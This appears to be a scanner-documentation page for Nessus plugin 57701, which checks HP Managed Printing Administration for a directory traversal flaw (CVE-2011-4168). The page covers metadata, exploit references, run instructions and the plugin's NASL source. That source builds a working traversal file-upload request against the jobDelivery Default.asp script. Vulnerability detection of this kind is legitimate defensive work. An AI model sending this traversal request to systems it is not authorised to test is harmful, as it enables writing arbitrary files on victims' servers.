HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check) - Nessus

Medium   Plugin ID: 57701

This page contains detailed information about the HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 57701
Name: HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check)
Filename: hp_managed_printing_administration_dir_traversal.nasl
Vulnerability Published: 2011-12-21
This Plugin Published: 2012-01-26
Last Modification Time: 2021-01-19
Plugin Version: 1.11
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: hp_managed_printing_administration_detect.nasl
Required KB Items [?]: www/hp_managed_printing_administration
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: Medium
Vulnerability Published: 2011-12-21
Patch Published: 2011-12-21
CVE [?]: CVE-2011-4168
CPE [?]: cpe:/a:hp:managed_printing_administration

Synopsis

The remote web server hosts a web application that is affected by a directory traversal vulnerability.

Description

The HP Managed Printing Administration install on the remote web server is affected by a directory traversal vulnerability in the 'Default.asp' script. A remote, unauthenticated attacker, exploiting this flaw, could create arbitrary files on the remote host.

Note that the HP Managed Printing Administration install is likely affected by multiple other flaws, though Nessus has not tested for these.

Solution

Upgrade to HP Managed Printing Administration version 2.6.4 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, ExploitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check) vulnerability:

  1. Metasploit: exploit/windows/http/hp_mpa_job_acct
    [HP Managed Printing Administration jobAcct Remote Command Execution]
  2. ExploitHub: EH-11-262

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:N/I:P/A:N/E:F/RL:OF/RC:C
CVSS Base Score:5.0 (Medium)
Impact Subscore:2.9
Exploitability Subscore:10.0
CVSS Temporal Score:4.1 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:4.1 (Medium)

Go back to menu.

Plugin Source


This is the hp_managed_printing_administration_dir_traversal.nasl nessus plugin source code. This script is Copyright (C) 2012-2021 Tenable Network Security, Inc.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Networks Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(57701);
  script_version("1.11");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2011-4168");
  script_bugtraq_id(51174);

  script_name(english:"HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check)");
  script_summary(english:"Attempts a directory traversal");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a web application that is affected by a
directory traversal vulnerability.");
  script_set_attribute(attribute:"description", value:
"The HP Managed Printing Administration install on the remote web
server is affected by a directory traversal vulnerability in the
'Default.asp' script.  A remote, unauthenticated attacker, exploiting
this flaw, could create arbitrary files on the remote host.

Note that the HP Managed Printing Administration install is likely
affected by multiple other flaws, though Nessus has not tested for
these.");

  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?ad1b5d3c");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-11-354/");
  script_set_attribute(attribute:"solution", value:"Upgrade to HP Managed Printing Administration version 2.6.4 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploithub_sku", value:"EH-11-262");
  script_set_attribute(attribute:"exploit_framework_exploithub", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'HP Managed Printing Administration jobAcct Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/12/21");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/12/21");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/01/26");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:hp:managed_printing_administration");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 Tenable Network Security, Inc.");

  script_dependencies("hp_managed_printing_administration_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/hp_managed_printing_administration");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("webapp_func.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);
install = get_install_from_kb(appname:'hp_managed_printing_administration', port:port, exit_on_fail:TRUE);

fname = SCRIPT_NAME+"-" + unixtime() + ".tmp";
userId = "/../../Database/NESSUS";
jobId = SCRIPT_NAME;
userName = unixtime()+'.asp';
docName = "aDoc";

url = '/hpmpa/jobDelivery/Default.asp?' +
  'userId=' + userId + '&' +
  'jobId=' + jobId + '&' +
  'docName=' + docName + '&' +
  'userName=' + userName;

# Try to upload a file.
bound = 'form';
boundary = '--' + bound;

postdata =
  boundary + '\r\n' +
  'Content-Disposition: form-data; name="fname"; filename="' + fname + '"' + '\r\n' +
  '\r\n' +
  SCRIPT_NAME + '\r\n' +
  boundary + '--' + '\r\n';

req = http_mk_post_req(
  port:port,
  item:url,
  add_headers:make_array(
    'Content-Disposition',  'form-data;',
    'Content-Type', 'multipart/form-data; boundary='+bound),
  data:postdata
);

res = http_send_recv_req(port:port, req:req, exit_on_fail:TRUE);

expectedres = userId+"-"+jobId+"-"+userName+'.prn';
if ('Results of Upload' >< res[2] &&
    'Saved' >< res[2] &&
    expectedres >< res[2]
)
{
  if (report_verbosity > 0)
  {
    report =
      '\n  Nessus detected this issue by sending the following request :\n\n' +
      crap(data:'-', length:30) + ' snip ' + crap(data:'-', length:30) + '\n' +
      http_mk_buffer_from_req(req:req) + '\n' +
      crap(data:'-', length:30) + ' snip ' + crap(data:'-', length:30) + '\n';

    if (report_verbosity > 1)
    {
      file = strstr(res[2], 'Saved');
      file = file - strstr(file, '<br');
      chomp(file);
      report +=
        '\n  Which created the following output :\n\n' +
        crap(data:'-', length:30) + ' snip ' + crap(data:'-', length:30) + '\n' +
        file + '\n' +
        crap(data:'-', length:30) + ' snip ' + crap(data:'-', length:30) + '\n';
    }
    security_warning(port:port, extra:report);
  }
  else security_warning(port:port);
  exit(0);
}
else
{
  hp_mpa_site = build_url(qs:install['dir'], port:port);
  exit(0, 'The HP Managed Printing Administration site at ' + hp_mpa_site + ' is not affected.');
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/hp_managed_printing_administration_dir_traversal.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\hp_managed_printing_administration_dir_traversal.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/hp_managed_printing_administration_dir_traversal.nasl

Go back to menu.

How to Run


Here is how to run the HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check) plugin ID 57701.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl hp_managed_printing_administration_dir_traversal.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a hp_managed_printing_administration_dir_traversal.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - hp_managed_printing_administration_dir_traversal.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state hp_managed_printing_administration_dir_traversal.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 57700 - HP Managed Printing Administration < 2.6.4 Multiple Vulnerabilities
  • 76284 - HP AutoPass License Server Remote Code Execution (HPSBMU03045)
  • 93844 - HP Network Automation RMI Registry Java Object Deserialization RCE
  • 76776 - HP OneView < 1.10 OpenSSL Multiple Vulnerabilities (HPSBGN03068)
  • 43155 - HP OpenView Network Node Manager Multiple Scripts hostname Parameter Remote Command Execution
  • 51850 - HP OpenView Performance Insight Server Backdoor Account
  • 90099 - HP Operations Orchestration 10.x < 10.51 Java Object Deserialization RCE
  • 44109 - HP Power Manager < 4.2.10
  • 62099 - HP SiteScope getFileInternal Arbitrary File Download
  • 101299 - HP SiteScope Multiple Vulnerabilities (HPESBGN03763)
  • 69195 - HP SiteScope Multiple Unspecified Remote Code Execution Vulnerabilities
  • 79719 - HP SiteScope SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)
  • 69983 - HP SiteScope SOAP Call runOMAgentCommand SOAP Request Arbitrary Remote Code Execution
  • 76769 - HP Smart Update Manager 6.x < 6.4.1 Multiple Vulnerabilities
  • 81917 - HP Universal Configuration Management Database Server Authentication Bypass
  • 102803 - HP iLO 4 <= 2.52 RCE
  • 140770 - HP iLO 3 < 1.93 / HP iLO 4 < 2.75 / HP iLO Superdome 4 < 1.64 / HP iLO 5 < 2.18 / HP Moonshot/Edgeline iLO 5 < 2.30 Ripple20 Multiple vulnerabilities
  • 29249 - HP OpenView Network Node Manager Multiple CGI Remote Overflows
  • 19555 - HP OpenView Network Node Manager Multiple Scripts Remote Command Execution
  • 51645 - HP OpenView Network Node Manager Remote Execution of Arbitrary Code (HPSBMA02621 SSRT100352)
  • 35657 - HP OpenView Network Node Manager webappmon.exe Command Injection (c01661610)
  • 66408 - Adobe ColdFusion Authentication Bypass (APSB13-13) (intrusive check)
  • 62902 - HP LoadRunner < 11.00 Patch 4 Code Execution (intrusive check)
  • 121515 - JBoss Remoting RemoteMessageChannel DoS (intrusive check)
  • 82078 - ManageEngine Desktop Central statusUpdate Arbitrary File Upload RCE (intrusive check)
  • 82080 - ManageEngine Desktop Central Remote Security Bypass (Intrusive Check)
  • 71217 - ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)
  • 62992 - NetIQ Privileged User Manager ldapagnt_eval() Function Remote Code Execution (intrusive check)
  • 62991 - NetIQ Privileged User Manager Password Change Authentication Bypass (intrusive check)
  • 47581 - Novell 'modulemanager' Servlet Arbitrary File Upload (intrusive check)
  • 83289 - Novell ZENworks Configuration Management < 11.3.2 Remote Code Execution (intrusive check)
  • 66914 - Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
  • 41947 - Adobe RoboHelp Server Security Bypass (APSA09-05 / intrusive check)
  • 59208 - Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check)
  • 59210 - Symantec Web Gateway upload_file() Remote Code Execution (SYM12-006) (intrusive check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file hp_managed_printing_administration_dir_traversal.nasl version 1.11. For more plugins, visit the Nessus Plugin Library.

Go back to menu.